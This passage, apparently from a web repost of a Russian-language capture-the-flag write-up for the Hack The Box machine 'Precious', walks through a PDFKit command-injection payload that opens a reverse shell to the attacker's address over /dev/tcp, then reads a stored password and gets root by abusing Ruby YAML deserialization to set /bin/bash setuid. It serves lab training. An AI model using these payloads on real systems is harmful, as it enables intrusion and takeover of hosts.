href=\"https:\/\/security.snyk.io\/vuln\/SNYK-RUBY-PDFKIT-2869795\" rel=\"noopener noreferrer nofollow\">https:\/\/security.snyk.io\/vuln\/SNYK-RUBY-PDFKIT-2869795<\/a><\/p>\n<p>\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e CVE, \u201can application could be vulnerable if it tries to render a URL that contains query string parameters with user input\u201d \u0438 \u201cif the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF\u201d. \u042d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c!<\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c netcat \u043d\u0430 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u043a\u0443 \u043f\u043e\u0440\u0442\u0430 4444:<\/p>\n<p>sudo nc -lnvp 4444<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0412 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 http:\/\/precious.htb \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0434 \u043d\u0430\u0448\u0438 \u043d\u0443\u0436\u0434\u044b \u0438 \u0432\u0432\u0435\u0434\u0451\u043c:<\/p>\n<p>http:\/\/localhost.com\/?name=#{&#8216;%20`bash -c &#171;bash -i >&amp; \/dev\/tcp\/10.10.14.33\/4444 0>&amp;1&#8243;`&#8217;}<\/p>\n<p>\u00a0\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0432 terminal \u0438 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u0432\u043e\u0448\u043b\u0438.<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c user flag:<\/h2>\n<p>Whoami \u2192 ruby<\/p>\n<p>\u0418\u0442\u0430\u043a \u043c\u044b \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c ruby. \u041f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u043c\u0441\u044f \u0432 \u043f\u0430\u043f\u043a\u0443 \/home \u0438 \u0432 \u043d\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0435\u0449\u0451 \u0434\u0432\u0435 \u043f\u0430\u043f\u043a\u0438. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043d\u0430\u0448 ruby user, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u0434\u043b\u044f user\u2019\u0430 henry. \u0412\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 henry \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b user.txt . \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0444\u043b\u0430\u0433. \u041d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u043c \u043a \u043d\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.<\/p>\n<p>\u041e\u0441\u043c\u043e\u0442\u0440\u0435\u0432\u0448\u0438\u0441\u044c, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0444\u0430\u0439\u043b \u0432 \/home\/ruby\/.bundle, \u043d\u0430\u0437\u0432\u0430\u043d\u044b\u0439 config.<\/p>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 cat config. \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f user\u2019\u0430 henry.<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0430\u043d\u043d\u044b\u0435 henry, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043f\u043e ssh \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043f\u043e\u0434 user\u2019\u043e\u043c henry:<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c user.txt, \u0438 \u0431\u0435\u0440\u0451\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433!<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root flag:<\/h2>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u0430\u043a henry, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 sudo -l, \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c:<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435 henry \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0444\u0430\u0439\u043b update_dependencies.rb , \u043a\u0430\u043a root, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c cat \u0438 \u0438\u0437\u0443\u0447\u0438\u043c \u0444\u0430\u0439\u043b.<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043a\u043e\u0434 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 YAML.load , \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u044f\u0437\u0432\u0438\u043c \u043a deserialization attack.<\/p>\n<p>\u041f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043e YAML deserialization attacks \u043c\u043e\u0436\u043d\u043e \u0442\u0443\u0442:<\/p>\n<p><a href=\"https:\/\/swisskyrepo.github.io\/PayloadsAllTheThingsWeb\/Insecure%20Deserialization\/YAML\/#ruby\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/DevComputaria\/KnowledgeBase\/blob\/master\/pentesting-web\/deserialization\/python-yaml-deserialization.md<\/a><\/p>\n<p>\u041d\u0435\u0434\u043e\u043b\u0433\u0438\u0435 \u043f\u043e\u0438\u0441\u043a\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a <a href=\"https:\/\/staaldraad.github.io\/post\/2021-01-09-universal-rce-ruby-yaml-load-updated\/\" rel=\"noopener noreferrer nofollow\">https:\/\/staaldraad.github.io\/post\/2021-01-09-universal-rce-ruby-yaml-load-updated\/<\/a> \u043d\u0430\u0445\u043e\u0434\u0438\u043c dependencies.yml, \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e. <\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>Sudo nano dependencies.yml, \u0438 \u0431\u0435\u0440\u0451\u043c \u043a\u043e\u0434 \u043d\u0430 Ruby on Rails \u0438\u0437 \u043f\u043e\u0441\u0442\u0430 \u0432\u044b\u0448\u0435.<\/p>\n<p>\u0412 \u0441\u0442\u0440\u043e\u043a\u0435 git_set: id, \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u00abchmod 4777 \/bin\/bash\u00bb, \u0435\u0441\u043b\u0438 \u0432\u0441\u0451 \u043f\u0440\u043e\u0434\u0443\u043c\u0430\u043d\u043e \u0432\u0435\u0440\u043d\u043e, \u0442\u043e \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0430\u043c root.<\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0444\u0430\u0439\u043b.<\/p>\n<p>Sudo \/usr\/bin\/ruby \/opt\/update_dependencies.rb<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e!<\/p>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c \/bin\/bash -p<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0413\u043e\u0442\u043e\u0432\u043e, \u0431\u0435\u0440\u0451\u043c root \u0444\u043b\u0430\u0433!<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p> <!----> <!----><\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/704776\/\"> https:\/\/habr.com\/ru\/post\/704776\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-342426","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/342426","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=342426"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/342426\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=342426"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=342426"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=342426"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}